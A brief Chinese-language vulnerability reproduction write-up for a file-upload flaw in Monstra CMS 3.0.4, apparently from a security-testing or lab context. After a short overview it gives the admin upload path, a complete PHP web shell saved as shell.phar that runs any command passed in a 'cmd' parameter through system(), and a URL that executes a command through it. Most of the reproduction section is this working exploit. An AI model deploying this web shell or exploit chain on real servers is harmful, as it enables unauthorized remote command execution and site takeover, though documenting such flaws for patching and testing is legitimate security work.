一、漏洞概述
Monstra 是一个现代化的轻量级内容管理系统。它易于安装、升级和使用。
Monstra CMS 3.0.4版本中存在着一处安全漏洞,该漏洞源于程序没有正确验证文件扩展名。攻击者可以上传特殊后缀的文件执行任意PHP代码。
二、影响范围
Monstra CMS 3.0.4
三、访问页面
四、漏洞复现
1、访问上传页面
/admin/index.php?id=filesmanager&path=uploads/
2、制作shell.phar文件上传。
<?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd=($_REQUEST['cmd']);system($cmd);echo"</pre>";die;}?>
3、访问任意命令执行,链接/public/uploads/shell.phar?cmd=ls%20/tmp